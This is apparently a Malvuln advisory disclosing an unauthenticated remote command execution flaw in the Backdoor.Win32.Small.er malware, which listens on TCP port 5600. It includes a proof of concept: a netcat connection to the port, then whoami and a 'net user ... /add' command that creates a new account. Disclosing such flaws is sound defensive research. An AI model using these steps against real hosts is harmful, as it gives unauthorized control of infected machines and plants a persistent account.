Backdoor.Win32.Small.er Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/9f11868c3beaa8e2c1f5c193f5888b85.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Small.er  
Vulnerability: Unauthenticated Remote Command Execution   
Description: The malware listens on TCP port 5600. Third-party attackers who can reach infected systems can run any OS commands.  
Type: PE32  
MD5: 9f11868c3beaa8e2c1f5c193f5888b85  
Vuln ID: MVID-2022-0480  
Disclosure: 02/05/2022  
  
Exploit/PoC:  
Note: hit enter twice for each command.  
  
nc64.exe x.x.x.x 5600  
  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\dump>  
  
C:\dump>  
cd \Windows  
C:\dump>cd \Windows  
  
C:\Windows>  
C:\Windows>whoami  
whoami  
  
desktop-2c3jqho\victim  
  
C:\Windows>  
  
C:\Windows>  
net user hyp3rlinx 666 /add  
C:\Windows>net user hyp3rlinx 666 /add  
  
The command completed successfully.  
  
  
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`